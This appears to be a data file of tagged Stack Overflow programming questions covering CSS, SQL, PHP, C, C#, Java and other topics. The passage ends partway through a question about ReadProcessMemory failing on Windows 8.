monitor what users are doing in an .net application and trigger application functionality changes  i need some suggestions for how to implement a very basic mechanism that logs what multiple users are doing in an application. when another feature is running i then need to change the application  to restrict functionality.    <strong>use case example</strong> user can normaly edit unpaid records.  if the application then runs a payrun process (long)  i need to then change parts of the application to restrict functionality for a short period of time (eg. make existing unpaid records readonly).     any suggestions on how i can do this in a .net application     <strong>architecture details</strong>   <ul> <li>vs 2008/2010  </li> <li>sql server 2005/2005 </li> <li>csla framework 3.8 </li> <li>vb.net</li> <li>windows 2008 web server farm</li> <li>900 + users</li> </ul>   the solution is an readonly extranet web reporting application and internal (firewall) data entry and data processing application (small single entry and large batch importing of data).,.net
name error: variable not defined  program calculates the shortest route from point  to line  then to second point. also i need to say how long is from the start of the line  to where point crosses. my code so far:    <pre><code>from math import sqrt numbers_total = [] numbers_canal = [] first_triangle_longest_side_length = 300   #defining the variable  def first_triangle(first_triangle_longest_side_length):     calculation_one = sqrt(first_triangle_longest_side_length)     first_triangle_bottom_side_length = calculation_one - sqrt(300)  def second_triangle(canal_length_left):     canal_length_left = canal_length_left ** 2     calculation_two = canal_length_left + 500 ** 2     second_triangle_longest_side_length = sqrt(calculation_two)   while true:     first_triangle_longest_side_length = first_triangle_longest_side_length + 0.01     first_triangle(first_triangle_longest_side_length)     canal_length_left = 1000 - first_triangle_bottom_side_length     second_triangle(canal_length_left)     if first_triangle_longest_side_length == 1044.03:         break     total_distance = first_triangle_longest_side_length + second_triangle_longest_side_length     numbers_total.append(total_distance)     numbers_canal.append(first_trangle_bottom_side_length)  minimal_total_distance = min(numbers_total) number_on_the_list = numbers_total.index(minimal_total_distance) print  the distance of the shortest route is:   +  %.1f  %     minimal_total_distance print  the distance of the canal from point a is:   +  %.1f  % numbers_canal[number_on_the_list] </code></pre>   however  it gives the error:   <pre><code>line 19  in &lt;module&gt;     canal_length_left = 1000 - first_triangle_bottom_side_length nameerror: name  first_triangle_bottom_side_length  is not defined </code></pre>   any ideas,python
how do i manage with dynamic id s  i am automating a test case  where i need to focus on a link  then i have to click on a element say element id looks like <code>//table[@id= 562 ]/tbody/tr/td[2]/img</code>  but the value inside quotes that is 562 is keep changing how can i find out and click that element.  please can any body help me.,javascript
how to make columns scroll independently using css   this is my first post here (i m very new to all this)  but i hope i m asking it correctly.     i m creating a webpage for my master s thesis  and i need to have three parallel columns of text that will scroll independently of each other  much like <a href= http://www.cssplay.co.uk/layouts/body5.html  rel= nofollow >this template</a>    i cannot seem to get the css from this template to work on my website  and i m wondering what i m doing wrong  or if there is a better way to achieve this effect.    thanks so much for you help!    here s my css for <a href= http://capstone.bethanybradshaw.com  rel= nofollow >my website</a>   <pre><code>    body {     padding:0;               width:100%;     height: 100%;     max-height: 100%;     overflow; hidden;     margin: 0;     border: 0;     background:#ffffff;          }  #title {       margin-bottom: 5px;     background: #fff;     width:100%     z-index: 20;     width: 100%;     padding-top: 30px;     }  #title h1 {      font-family: sorts mill goudy  garamound  serif;     font-size: 50px;     text-align: center;     font-weight: 100;     color: 696969;     line-height: 1px;     letter-spacing: 10px;     margin-top: 20px;        }    #title h2 {     font-size: 16px;     font-family: sorts mill goudy  serif;     text-align: center;     font-weight: 100;     color: #999;     line-height: 20px;     letter-spacing: 0px;     }   #title ul {text-align:center;      padding-left  padding-right: 10px;     padding-top: 30px;     }  #title ul li {     display:inline;     font-family:  gill sans mt    sans-serif ;     text-align: center;     list-style:none;     margin-left:0px;     padding-left: 30px;     padding-right: 30px;     }  #title p{     font-family: sorts mill goudy italic  garamound  serif;     size: 14px;     font-weight: 300;     background: #eee;     padding: 10px;     margin-left: 80px;     margin-right: 80px;     margin-top: 20px;     margin-bottom: 15px;     text-decoration: none;     color: #000;     }   #title a {     color:#000;     text-decoration: none;     text-decoration: underline;     }  #title a:hover {     color: #a9a9a9;     text-decoration: underline;     }  /*  column settings */  #allcol {     position: relative;     }  #allcol h4{     text-align: center;     }  #col1 {         font-family: sorts mill goudy  garamound  serif;         text-align: left;         float:left;         background:#dcdcdc;         padding-bottom:10px;         padding-top: 10px;         padding-left:1.5%;         padding-right:1.5%;         margin-left: 0px;         width:30%;         overflow: scroll;         }  #col2 {     font-family: sorts mill goudy  garamound  serif;         text-align: left;         background: #fff;         float:left;         padding-bottom:10px;         padding-top: 10px;         padding-left:1.5%;         padding-right:1.5%;         width:30%;         overflow: scroll;         }  #col3 { font-family: sorts mill goudy  garamound  serif;         text-align: left;         float:left;         background:#dcdcdc;         padding-left:1.5%;         padding-right:1.5%;         padding-bottom:10px;         padding-top: 10px;         width:30%;         overflow: scroll;         }  #footer {     clear:both;     float:left;     width:100%;     border-top:1px solid #000;     } </code></pre>,css
sql server: view to get minimum and maximum values from a table  i have a mssql server table like this:   <pre><code>id (auto-increment) amount date account_id </code></pre>   data are inserted throughout the day. i now need a view to get the opening and closing amounts for each account for each day.  my trouble is creating a fast query to access both minimum and maximum values.  creating a view to access just the minimum is fine using an in statement  however getting both minimum and maximum is tricky. i ve tried using a with clause  but the query is incredibly slow.    btw i am mapping the view to hibernate  so stored procedures and functions won t work the same way (that i know of).     <strong>update</strong>  i guess my question wasn t clear from the responses i received. i want to get the opening and closing balances for each account. maximum and minimum referred to getting the max and min (id) when grouped by date and account_id.  i want to get the amount when the id is equal to the maximum id (closing balance) and the amount when the id is equal to the minimum id (opening balance) for each account for each day.,sql
creating mysql database and user to be hosted on one.com  i m attempting to create a mysql database and administrator user to this database and i intend on hosting the database on one.com. i noticed that in other webhosts e.g. bluehost  the option of creating a mysql database and a user is available but this is not available on one.com.    my question is how does someone using code create a mysql database and user which can be hosted on a webhost in my case one.com     any ideas are appreciated.    thanks.,mysql
css seems to not being applied in ie8  i am working on a website which works fine in all browsers but when i try it in ie8 it seems like css is not being applied: <a href= http://www.greenbelieve.pt/pt/inicio  rel= nofollow >http://www.greenbelieve.pt/pt/inicio</a>    does anyone has any idea what am i missing     <strong>update</strong>    i added the following:    replace this in your page    <pre><code>&lt;!--[if ie]&gt; &lt;meta http-equiv= x-ua-compatible  content= ie=edge &gt; &lt;![endif]--&gt;  &lt;!-- html5 shim and respond.js ie8 support of html5 elements and media queries --&gt; &lt;!--[if lt ie 9]&gt;   &lt;script src= js/html5shiv-printshiv.min.js &gt;&lt;/script&gt;   &lt;script src= js/respond.min.js &gt;&lt;/script&gt; &lt;![endif]--&gt; </code></pre>   but know the text seems to be huge ...,css
methods for content uniqueness calculation on c#  i have a set of text files. i want to calculate a content uniqueness for different subsets.    e.g. we have 10 documents (a1 - a10) and want to calculate the uniqueness for subset of documents a1 and a2. so the result must be some value from 0 to 1 (1 - absolutely unique content  0 - absolutely duplicated content).     what methods for content uniqueness calculation do you know  please suggest these methods with .net implementations.     thanks.,.net
error invalid argument supplied for foreach( )  error_log      <blockquote>    [16-aug-2013 20:41:33 america/sao_paulo] php warning:  invalid argument supplied for foreach() in /home/public_html/acp/includes/templates/character.php on line 9  </blockquote>   my character.php   <pre><code>&lt; php     if (!isset($included) || !$included) exit();      $buttons =   ;     $empty = true;      $characters = $_handlergameserver-&gt;fetch($_querygame[ characters ] array($session-&gt;get( account )));      foreach ($characters as $character) {         $buttons .=  &lt;button class= buttonprocess  name= select_character  title= character_id  value=  .$character[0].  &gt; .$character[1]. &lt;/button&gt;\n ;         $empty = false;     }      if (!$empty)         $_templatepage-&gt;replace( buttons  $buttons);     else         $_templatepage-&gt;replace( buttons  $_lang[ error ][ nocharacters ]. &lt;br /&gt;&lt;a href=  page=select_server  class= linkprocess  name= unset_server &gt; .$_lang[ character ][ changeserver ]. &lt;/a&gt; | &lt;a href=  page=account  class= linkprocess  name= logout &gt; .$_lang[ character ][ logout ]. &lt;/a&gt;  );  &gt; </code></pre>,php
c equivalent operator creating confusion  <strong>program 1:</strong>   <pre><code>#include&lt;stdio.h&gt; void main() {     int i=55;     printf( %d %d %d %d\n  i==55 i=40 i==40 i&gt;=10); } </code></pre>   <strong>program 2:</strong>   <pre><code>#include&lt;stdio.h&gt; void main(){     int i = 55;     if(i == 55) {         printf( hi );     } } </code></pre>   first program give output <code>0 40 0 1</code> here in the <code>printf i == 55</code> and output is 0 and in the second program too <code>i ==55</code> and output is hi. why,c
why is the !important property not being applied  <pre><code>    #searchinput {     width: 50% !important;     height: 50% !important;     display: block;     position: relative;     margin-left: auto !important;     margin-right: auto !important;     text-align: center !important;     color: #ff7f27;     top: -300px !important;     left: 100px !important;     background: transparent;     font-size: 85%; </code></pre>   i m doing this in main.css for monobook skin in mediawiki. for some reason  main.css is ignoring my <code>!important</code> because it s still not centering the div. what am i doing wrong to have my code keep getting ignored  how can i fix this  im not asking how to center. im asking why my divs code is bein ignored even when its proper.,css
how to decode subject and date which were retrieved from gmail (japan text)  i have a build a function using php imap to retrieve the email from g-mail. the function was going well every retreiving the message from gmail account but there was still a bit problem with decode subject and date in japan language. exactly for decoding in the message it worked. so i would like to ask you how can i decode subject to be readable with php.     here is my function :    <pre><code>&lt; php $hostname =  {********:993/imap/ssl}inbox ; $username =  ********* ; $password =  ****** ;  $inbox = imap_open($hostname $username $password) or die( cannot connect to server:   . imap_last_error());  $emails = imap_search($inbox  all );  if($emails) {     $output =   ;     rsort($emails);      foreach($emails as $email_number) {         $overview = imap_fetch_overview($inbox $email_number 0);         $structure = imap_fetchstructure($inbox  $email_number);          if(isset($structure-&gt;parts) &amp;&amp; is_array($structure-&gt;parts) &amp;&amp; isset($structure-&gt;parts[1])) {             $part = $structure-&gt;parts[1];             $message = imap_fetchbody($inbox $email_number 2);              if($part-&gt;encoding == 3) {                 $message = imap_base64($message);             } else if($part-&gt;encoding == 1) {                 $message = imap_8bit($message);             } else {                 $message = imap_qprint($message);             }         }          $output.=  &lt;div class= toggle .($overview[0]-&gt;seen    read  :  unread ).  &gt; ;         $output.=  &lt;span class= from &gt;from:  .utf8_decode(imap_utf8($overview[0]-&gt;from)). &lt;/span&gt; ;         $output.=  &lt;span class= date &gt;on  .utf8_decode(imap_utf8($overview[0]-&gt;date)). &lt;/span&gt; ;         $output.=  &lt;br /&gt;&lt;span class= subject &gt;subject( .$part-&gt;encoding. ):  .utf8_decode(imap_utf8($overview[0]-&gt;subject)). &lt;/span&gt;  ;         $output.=  &lt;/div&gt; ;          $output.=  &lt;div class= body &gt; .$message. &lt;/div&gt;&lt;hr /&gt; ;     }      echo $output; }  imap_close($inbox);  &gt; </code></pre>   and the result (not correct) :    <img src= https://i.stack.imgur.com/i8ubs.png  alt= enter image description here >    could anyone tell me which function in php can solve this problem.    regards,php
c# instances not existing in current context <pre><code>        console.writeline( are you a boy or a girl  );         string sex = console.readline();         console.writeline(sex);         while ((sex != ( boy )) &amp;&amp; (sex != ( girl )))         {             console.writeline( that is not a valid sex. please answer the question again. );             sex = console.readline();          }          if (sex ==  boy )         {             console.writeline( you are a boy );             boy real_sex = new boy             {                 firstname =  george                   secondname =  smith              };         }         else if (sex ==  girl )         {             console.writeline( you are a girl );             girl real_sex = new girl             {                 firstname =  charlotte                   secondname =  smith              };         }          real_sex.characteristics()          </code></pre>   i m new to c# so this might be easy but i was trying to make a programme that asks for the user s sex and then creates an instance for the class based on the answer of  boy  or  girl.  i have already created the method  characteristics  inside the classes  boy  and  girl.  however  the problem arises with the last line  real_sex.characteristics()  as  real_sex  does not exist in  current context.  apparently  to overcome this with regular variables you need to declare the variable before the if statements but it seems with instances it acts differently. can anyone help  thank you.,c#
programatically accesing subviews of uiview added in interface builder  i have a nib file where i have a view that contains a background image  a button and another image that covers the full screen (a shadow) that needs to be moved to the front. on the view  i m creating child views  and after creating those and adding them using <code>[self addview]</code> i need to move to the front the shadow image.    i m currently using the tag attribute to find that view  but i m thinking there s probably a better way  by means of identifying the subviews i add in interface builder by some name.    i tries adding a iboutlet to connect the subview with its parent  but it didn t work (and made no sense  since the subview is already connected to its parent in some way).    any hint,iphone
select data from a table and change how it is shown based on the data  i have a table  <code>ihe_issues</code> and a table  <code>issue_quarter</code>. i want to select the data from <code>issue_quarter</code> that has a value that is “fall”  “summer”  “spring”  or “winter”  and if it is “winter”  make it return “1/1/<em>issue_year</em>” instead of “winter” followed by the issue year. is this possible,sql
how do i change the attributes of elements in a list of instances of a user defined class   i m trying to iterate through a list  <em>workerl</em> of instances of a class i defined  <em>worker</em>  and based on one of the class attributes  <em>isemployed</em>  grab 5 of those and call a function on them  <em>fire()</em>.  i ve tried many different ways  but i either get stuck in an endless loop or i get the wrong values.    please let me know what i m doing wrong  the code is below  and the part i need help with is commented in bold  but other tips are appreciated as well. thanks!   <pre><code>from random import choice import sys  class population:        total population of workers        workerl = []     workers = 0     g_rate = 1     y = 0     ui = 0     c = 5      def __init__(self  ui  workers):         # probability of a worker becoming unemployed         # low in booms  high in recessions  could be a proxy for i         self.ui = ui         self.workers = workers         self.workerl = []         for i in range(workers):             x = worker()             self.workerl.append(x)         for i in range(workers / 10.):             self.workerl[i].fire()      def countemployed(self):            displays number of employed workers in a population            employed = 0         for worker in self.workerl:             if worker.isemployed == true:                 employed = employed + 1         return employed      def countunemployed(self):            displays number of unemployed workers in a population            unemployed = 0         for worker in self.workerl:             if worker.isemployed == false:                 unemployed = unemployed + 1         return unemployed         def employedl(self):         employedl = []         for worker in self.workerl:             if worker.isemployed:                 employedl.append(worker)         return employedl      def unemployedl(self):         unemployedl = []         for worker in self.workerl:             if worker.isemployed == false:                 unemployedl.append(worker)         return unemployedl      def lookingl(self):         lookingl = []         for worker in self.workerl:             if worker.islooking:                 lookingl.append(worker)         return employedl       def advance(self  time):            advances the population units of time             # updates assets         for worker in self.workerl:             if worker.isemployed == true:                 worker.assets = worker.assets + worker.salary             else:                 worker.assets = worker.assets + self.ui - self.c                  #calculates current y         tmp_y = 0         for worker in self.workerl:             tmp_y = worker.assets + tmp_y         self.y = tmp_y          # fires some workers  random turnover         # this is the part i need help with         # as discussed above  i need to pick 5 workers from workerl         # where isemployed == true         # and then call their fire() method           # makes job search decisions for unemployed         jobs = self.y / 10         jobseekers = 0         for worker in self.workerl:             if worker.islooking:                 jobseekers =+ 1          if jobs/jobseekers &gt; 1:             d = 1         elif jobs/jobseekers &lt; 0:             d = 0         else:             d = jobs / jobseekers          for worker in self.workerl:             if worker.isemployed == false:                 if ((d * 5 + (1 - d) * (self.ui - self.c)) &gt; self.ui):                     worker.look()                 else:                     worker.unlook()          # hires some workers         jobcount = jobs         if d == 1:             for worker in self.workerl:                 if worker.islooking:                     worker.hire()         elif d == 0:             pass         else:             for i in range(jobs):                 if self.workerl[i].islooking:                     self.workerl[i].hire()           #calculates growth rate  updates y         tmp2_y = 0         for worker in self.workerl:             tmp2_y = worker.assets + tmp2_y         self.g_rate = (tmp_y / self.y) + 1.         self.y = tmp_y   # population as an array of workers      class worker:        a worker in a population        isemployed = true     islooking = false     assets = 0      salary = choice(range(10))      def fire(self):         self.isemployed = false         self.islooking = true      def hire(self):         self.isemployed = true         self.islooking = false      def look(self):         self.islooking = true      def unlook(self):         self.islooking = false   def main():      x = population(int(sys.argv[1])  int(sys.argv[2]))       x.advance(1)     print x.countemployed()     print x.countunemployed()     print x.y  main()   </code></pre>,python
how to set submenu to stay open  <pre><code>&lt;li class= submenulist item-with-ul &gt;   &lt;a href= # &gt;blalab&lt;/a&gt;   &lt;ul class= sub-nav  style= display: none; &gt;     &lt;li&gt;&lt;a href= # &gt;highlights&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;invited&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;talks&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt; &lt;/li&gt;    $( .item-with-ul ).on( click   function(){       alert( work );//works       $(this).siblings( .sub-nav ).addclass( block );       $( .block ).removeclass( block );  });  .block{    display:block!important; } </code></pre>   really wanted submenu to stay open after hover on the main navigation  but after googling for some time  it seemed that there are no way to do that. thought of click that could work. if click on main navigation  it will open submenu till user click on another nav item.    but couldn t get block to show in <code>&lt;li class= sub-nav &gt;</code>. siblings()  closest()  find() doesn t help to add class block. not sure why..,jquery
hot get the name of an object  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/729803/print-name-of-the-variable-in-c >print name of the variable in c#</a>    </blockquote>   how i can print the name of any object    <pre><code>myclass c1  c2;  printname(c1); printname(c2);  void printname(object o) {     console.writeline( name of object :  + o.   ()); } </code></pre>   output should be like this:   <pre><code>name of object : c1 name of object : c2 </code></pre>   this is specific to .net  but answer for other platform/language can be helpful.,.net
struct values changing when referenced repeatedly  i m attempting to write a colloidal simulation program in c  and i came across a curious issue that i do not know how to resolve - i ve reduced the code to the minimum where it shows the same type of error. (i m sorry ahead of time for the length of the code...)   <pre><code>/** main.c **/ #include &lt;stdio.h&gt;  /** typedefs **/ typedef struct { double x  y  z; } point; typedef struct {     double radius;     point pos  potential  velocity; } particle; typedef struct {     int num;                // size of particle array     particle *particles; } trough; typedef struct { trough trough; } experiment;  void printpoint(point a) { printf( %f  %f  %f\n   a.x  a.y  a.z); }  /** initializations **/ point initpoint(double x  double y  double z) {     point new_point = { .x = x  .y = y  .z = z };     return(new_point); } particle initparticle(double radius  point pos  point potential  point velocity) {     particle new_particle = { .radius = radius  .pos = pos  .potential = potential  .velocity = velocity };     return(new_particle); } trough inittrough(particle particles[]) {     int num = sizeof(particles) / sizeof(int) + 1;     trough new_trough = { .num = num  .particles = particles };     return(new_trough); } experiment initexperiment(trough in_trough) {     experiment new_experiment = { .trough = in_trough };     return(new_experiment); }  /** probs **/ experiment newexperiment() {     particle new_part1 = initparticle(1  initpoint(0  4  0)  initpoint(0  0  0)  initpoint(0  0  0));     particle new_part2 = initparticle(1  initpoint(4  4  0)  initpoint(0  0  0)  initpoint(0  0  0));      printpoint(new_part1.pos);     printpoint(new_part2.pos);      particle particles[2] = { new_part1  new_part2 };     trough new_trough = inittrough(particles);      printpoint(new_trough.particles[0].pos);     printpoint(new_trough.particles[1].pos);      return(initexperiment(new_trough)); } int main(int argc  char *argv[]) {     experiment experiment = newexperiment();      printpoint(experiment.trough.particles[0].pos);     printpoint(experiment.trough.particles[1].pos);      return(0); } </code></pre>   i compile the code: <code>gcc -lm -std=c99 -wall main.c</code> and run it: <code>./a.out</code>  and get the following output:   <pre><code>$ ./a.out 0.000000  4.000000  0.000000 4.000000  4.000000  0.000000 0.000000  4.000000  0.000000 4.000000  4.000000  0.000000 0.000000  4.000000  0.000000 0.000000  4.000000  0.000000 </code></pre>   the problem is the last line of output  where i was trying to find the x  y  z values of a point in the array of particles - all i did in the code was to print the values at various points  and so the values shouldn t be changing - but they are  and i m quite confused as to why this is. would this have to do with referencing the array by index  any help would be greatly appreciated.,c
keep the delimiter at third position and rest of other split  i am trying to split   (comma) delimiter file where i need to skip   (comma) at position three and rest of   (comma) i can split.     <strong>my code:</strong>   <pre><code>    string st;              bufferedreader br = null;             fileoutputstream outfile1 = new fileoutputstream(                     new file( c:\\data\\data.xls ));             workbook book = new hssfworkbook();             file objfile = new file(                      c:\\data\\user.txt );              br = new bufferedreader(new filereader(objfile));              linenumberreader linenumberreader = new linenumberreader(new filereader(objfile));             linenumberreader.skip(long.max_value);             int lines = linenumberreader.getlinenumber();             sheet sheet = book.createsheet( userdata );              system.out.println( total rows in the file :   +lines);              int line = 0;              while ((st = br.readline()) != null) {                  string value = st.replace( \      );                  arraylist = value.split(   );                  row row = null;                  cell cell = null;                  row = sheet.createrow(line);                  for (int i = 0; i &lt; arraylist.length; i++) {                      // system.out.println(arraylist[i]);                      cell = row.createcell(i);                      cell.setcellvalue(arraylist[i]);                  }                  line++;  //              system.out.println( line:   + line);              }             book.write(outfile1);             outfile1.close();              br.close(); </code></pre>   <strong>how my txt file look:</strong>   <pre><code> userid   subscriberid    headhousefullname    167fgfg611   5904fds02   abc  xyz c   200fhskdhf   876fsgj25   acd  nnp c   3893fjs956   502sgfgg3   adc  kio c   918shdfd71   1029gsg57   aed  jui c  </code></pre>   <strong>currently  when the code has been executed then it prints this file value:</strong>   <pre><code>        userid    subscriberid headhousefullname         167fgfg611 5904fds02 abc xyz c         200fhskdhf 876fsgj25 acd nnp c         3893fjs956 502sgfgg3 adc kio c         918shdfd71 1029gsg57 aed jui c </code></pre>   <strong>how it should be printed:</strong>   <pre><code>    userid    subscriberid headhousefullname     167fgfg611 5904fds02 abc  xyz c     200fhskdhf 876fsgj25 acd  nnp c     3893fjs956 502sgfgg3 adc  kio c     918shdfd71 1029gsg57 aed  jui c </code></pre>   where you can notice that <code>headhousefullname</code> column value is full name. for example <code> abc  xyz c </code> where i don t want to split full name by   (comma) delimiter throughout the file. i want to keep it as it is <code> abc  xyz c </code>. currently  it s splitting wherever it see   (comma) delimiter.,java
how to get data data attribute values at modal box section   i have modal box like this:   <pre><code>&lt;!-- modal for players--&gt; &lt;div class= modal fade  id= info  tabindex= -1  role= dialog  aria-labelledby= mymodallabel &gt;   &lt;div class= modal-dialog  role= document &gt;     &lt;div class= modal-content &gt;       &lt;div class= modal-header &gt;         &lt;button type= button  class= close  data-dismiss= modal  aria-label= close &gt;&lt;span aria-hidden= true &gt;&amp;times;&lt;/span&gt;&lt;/button&gt;         &lt;h3 class= modal-title  id= mymodallabel &gt;player profile for&lt;/h3&gt;       &lt;/div&gt;       &lt;div class= modal-body info-player &gt;         &lt;div class= row &gt;              &lt;div class= col-md-6 col-sm-6 col-xs-12 &gt;                 &lt;label&gt;goalk in this season :&lt;/label&gt; 11             &lt;/div&gt;          &lt;/div&gt;       &lt;/div&gt;                 &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   and i have added a span element where users can click on it to get the relevant data:   <pre><code>&lt;span class= playerinfo  data-toggle= modal  data-target= #info &gt;info&lt;/span&gt; </code></pre>   but now i wan to have some  data-xyz= value   attributes in my span element and i want to parse to my modal box  how could i do someting like this     i only know the way with an jquery onclick handler  but i think is also another better way or what you think     thanks for your help or any hints...    thanks,html
mysql joins with 3 tables  table a  b  c    how can i make a query that joins these three tables. the condition is that <code>table a</code> must have a record.    i tried like this   <pre><code>select * from a left join b on a.article_id = b.article_id left join c on b.file_id = c.submission_id where c.user_id = 6; </code></pre>   my query doesn t work in the case that <code>table c</code> is missing a record. in that case  the join doesn t work for the three tables.,mysql
.net base type information   is there any convenient function to get a list of base types of a class. for example  i want to get base types (both interfaces and classes) of arraylist class. the result should include  object  ilist  icollection  ienumerable  and icloneable     please advise.,.net
php - iterator hiding a map  what should `valid` do  <pre><code>class map implements \arrayaccess  \iterator {     private $map;      public function __construct() {         $this-&gt;map = array();     }      /* iterator interface:      *  abstract public mixed current ( void )      *  abstract public scalar key ( void )      *  abstract public void next ( void )      *  abstract public void rewind ( void )      *  abstract public boolean valid ( void )      */     public function current() {         return \current($this-&gt;map);     }     public function key() {         return \key($this-&gt;map);     }     public function next() {         \next($this-&gt;map);     }     public function rewind() {         \reset($this-&gt;map);     }     public function valid() {         //what should go here      } /*so on*/ </code></pre>   to be able to <code>foreach</code> over this structure i have to implement the interface noted in the code comments. all of them except <code>valid</code> have obvious functions i can use to apply them to the <code>map</code> i am encapsulating.     the example used on the <code>iterator</code> page is that of a  list type  which simply keeps a count of how far along it is in the array.     what should i use as my implementation for <code>valid</code>,php
c++ returning a const reference of an object  i m new to c++ and i m not sure how to deal with return type of this:    <code>const derived&amp; myclass::getderived(){} const</code>.    myclass has a member variable <code>base**b</code>:   <pre><code>#include  base.h  class myclass {     public:          virtual const derived&amp; getderived() const;     .....     protected:          base**b; } </code></pre>   derived class is inherited from base class:   <pre><code>class derived : public base {     .... } </code></pre>   i tried:<code>return b[indexofderived];</code> and the error is:<code>reference to type  const derived  could not bind to an lvalue of type  base * </code>    i also tried:<code>return *this-&gt;b[indexofderived];</code> and the error is:<code>no viable conversion from returned value of type  part  to function return type  const cpu </code>    how do i return a const reference of an object  i m so confused.    i initialized the variable <code>base**b</code> in the constructor by the following code:   <pre><code>myclass::myclass() {      b = new base*[size];      for(int i = 0; i &lt; size; i++)      {           b[i] = new base();      } } .... // deallocating memory in destructor by using delete and delete[] .... </code></pre>   sorry for the bad syntax.,c++
sorted array into binary search tree  so i have the following code  where i have created a constuctor  which initalizes a binary search tree using an array. the constructor passes the array  sorts it  and turns it into a binary function. in my main function  i have a menu with different cases to perform different actions on binary search trees. i have added a series of output statements to determine what s wrong and i believe it s a problem with my constructor when i call root = findmedian(...). below i have the constructor  the findmedian function and the case in which it is called in the main. the program keeps aborting when i run it in the gdb. if anyone can help  i will greatly appreciate it  thanks!   <pre><code>// //custom constructor that takes an array and turns it into a binary search tree // treetype::treetype( itemtype a[]  int len ) {         //sort array         bubblesort( a  len );         //call recursive function         int left = 0;         int right = len - 1;         cout &lt;&lt;  in constructor  setting root.  &lt;&lt; endl;         root = findmedian(a left right); } //function that finds median treenode * treetype::findmedian ( itemtype a[]  int left  int right ) {         if ( left &gt; right )                 return null;          treenode *tree = new treenode;         int mid = (left+right)/2;         cout &lt;&lt;  creating a treenode  &lt;&lt; endl;         cout &lt;&lt;  a[mid} is:   &lt;&lt; a[mid] &lt;&lt; endl;         tree -&gt; info = a[mid];          tree -&gt; left = findmedian( a  left  mid - 1);//recursively call the left subtree         tree -&gt; right = findmedian(a  mid + 1  right );//recursively call the right subtree           return tree; }  //in main case  o :                  {                         cout &lt;&lt;  enter a string:  ;                         cin &gt;&gt; words;                         treetype optimaltree( words  strlen(words));                         optimaltree.print();                         cout &lt;&lt; endl;                         break;                 }  //sample run enter a string: yhgtrfb len is: 7 in constructor  setting root. left is: 0 right is: 6 creating a treenode a[mid} is: f left is: 0 right is: 2 creating a treenode a[mid} is: f left is: 0 right is: 0 creating a treenode a[mid} is: f left is: 0 right is: -1 left is: 1 right is: 0 left is: 2 right is: 2 creating a treenode a[mid} is: f left is: 2 right is: 1 left is: 3 right is: 2 left is: 4 right is: 6 creating a treenode a[mid} is: f left is: 4 right is: 4 creating a treenode a[mid} is: f left is: 4 right is: 3 left is: 5 right is: 4 left is: 6 right is: 6 creating a treenode a[mid} is: b left is: 6 right is: 5 left is: 7 right is: 6      f    /   \    f   f  /   \   /   \  f   f   f   b </code></pre>,c++
fputs() newline behaviour in c  having trouble understanding a program(below).<br> i am little bit confused about the statement <code>fputs( \n  fp)</code> eg. let me type:   <blockquote>    it doesn t matter what you are underneath<br>   its what you do that defines you.  </blockquote>   if i don t mention <code>fputs( \n  fp)</code> the string appears in a single line. but with the code it is saved as typed.    now the question is how the <code>\n</code> is inserted in the desired place  cause  normally the <code>\n</code> should be appended in the end of the text.    any help would be seriously appreciated.   <pre><code>int main()  {     file *fp;      char s[80];     fp=fopen( abc.txt   w );     if(fp==null)     {              puts( cannot open file );             exit(1);     }     printf( \nenter a few lines of text:\n );     while(strlen(gets(s))&gt;0)     {           fputs(s fp);           fputs( \n  fp);     }     fclose(fp);     return 0; } </code></pre>,c
angularjs  how to set empty string in url  in the controller i have below function:   <pre><code>    @requestmapping(value =  administrator/listauthor/{authorname}/{pageno}   method = { requestmethod.get              requestmethod.post }  produces =  application/json )     public list&lt;author&gt; listauthors(@pathvariable(value =  authorname ) string authorname              @pathvariable(value =  pageno ) integer pageno) {         try {             if (authorname == null) {                 authorname =   ;             }             if (pageno == null) {                 pageno = 1;             }             return adminservice.listauthor(authorname  pageno);         } catch (exception e) {             e.printstacktrace();             return null;         }     } </code></pre>   this function fetches and returns data from mysql database based on  authorname  and  pageno . for example  when  authorname = a  and  pageno = 1  i have:    <a href= http://i.stack.imgur.com/jwu0d.png  rel= nofollow >data i get when  authorname = a  and  pageno = 1 </a>    now i want to set  authorname  as   (empty string)  so that i can fetch all the data from mysql database (because the sql statement  %+  +%  in backend will return all the data).     what can i do if i want to set authorname = empty string      <a href= http://localhost:8080/spring/administrator/listauthor/  rel= nofollow >http://localhost:8080/spring/administrator/listauthor/</a>{empty string}/1    thanks in advance!,angularjs
get comma separated list using sub query in mysql  i have display data of available components quantity and cost of inventory history upto specific date. its works fine using below query.   <pre><code>select s.part_id         sum(s.updated_quantity)         p.item_code         sum(              (select (s.updated_quantity * cost)               from inventory               where inventory.id=s.inv_id)) as tcost from status_history as s       inventory as i       part_master as p where s.action= add    and date(s.date_created)&lt;= 2013-04-09    and i.currency_id=1   and s.inv_id=i.id   and s.part_id=p.id group by s.part_id </code></pre>   i also want to display location name of components separated by comma in single field. to get my desire result i have tried below query but it returns only one locations name instead of comma separated string of multiple location names.   <pre><code>select s.part_id         sum(s.updated_quantity)         p.item_code         sum(              (select (s.updated_quantity * cost)               from inventory               where inventory.id=s.inv_id)) as tcost         concat_ws(                        (select name                     from location_master                     where id=i.location_id)) as location from status_history as s       inventory as i       part_master as p where s.action= add    and date(s.date_created)&lt;= 2013-04-09    and i.currency_id=1   and s.inv_id=i.id   and s.part_id=p.id group by s.part_id </code></pre>,mysql
readprocess memory 299 on windows 8  i have this program that works perfectly in windows 7 but on windows 8 the readprocessmemory seems to be blank when i output it.get last error code 299. i did not create this part of of program for read process but i use it because it was working for windows 7. the game handles and aria location are same on windows 8 machine  i double checked them. and the game handle is found. the address works fine in windows 7.    <pre><code>hgamewindow = findwindow(l wfelementclient window  null); if(hgamewindow) {     getwindowthreadprocessid( hgamewindow  &amp;dwprocid );              if( dwprocid != 0 ) {           hprochandle = openprocess( process_all_access  false  dwprocid );          if( hprochandle == invalid_handle_value || hprochandle == null ) {              gamestatus =  failed to open process for valid handle ;          }else{             gamestatus =  game found ;             myaddr = findpointeraddr(hprochandle  ariabase  aoffset);             // isgameavail = true;         }     }      else gamestatus =  failed to obtain process id ; } else gamestatus =  game handle not found ;  readprocessmemory(hprochandle  (lpcvoid)myaddr  &amp;buffer  sizeof(buffer)  null);  int findpointeraddr(handle phandle int baseaddr  dword offsets[]) {     int address = baseaddr;     int offset = 0;     int 